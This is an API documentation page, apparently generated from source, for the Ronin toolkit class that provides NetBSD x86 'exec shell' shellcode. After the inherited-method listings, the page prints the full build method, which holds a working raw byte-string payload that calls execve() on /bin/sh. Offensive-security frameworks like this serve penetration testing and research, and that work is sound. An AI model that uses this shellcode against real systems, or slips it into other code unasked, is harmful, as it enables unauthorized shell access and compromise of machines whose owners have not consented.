Class: Ronin::Payloads::Shellcode::NetBSD::X86::ExecShell

Inherits:
ExecShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb

Overview

NetBSD x86 shellcode that calls execve() with /bin/sh.

Instance Attribute Summary

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#buildObject

Builds the shellcode.



53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# File 'lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb', line 53

def build
  @payload = "\xeb\x23" \
             "\x5e" \
             "\x8d\x1e" \
             "\x89\x5e\x0b" \
             "\x31\xd2" \
             "\x89\x56\x07" \
             "\x89\x56\x0f" \
             "\x89\x56\x14" \
             "\x88\x56\x19" \
             "\x31\xc0" \
             "\xb0\x3b" \
             "\x8d\x4e\x0b" \
             "\x89\xca" \
             "\x52" \
             "\x51" \
             "\x53" \
             "\x50" \
             "\xeb\x18" \
             "\xe8\xd8\xff\xff\xff" \
             "/bin/sh" \
             "\x01\x01\x01\x01" \
             "\x02\x02\x02\x02" \
             "\x03\x03\x03\x03" \
             "\x9a\x04\x04\x04\x04\x07\x04".b
end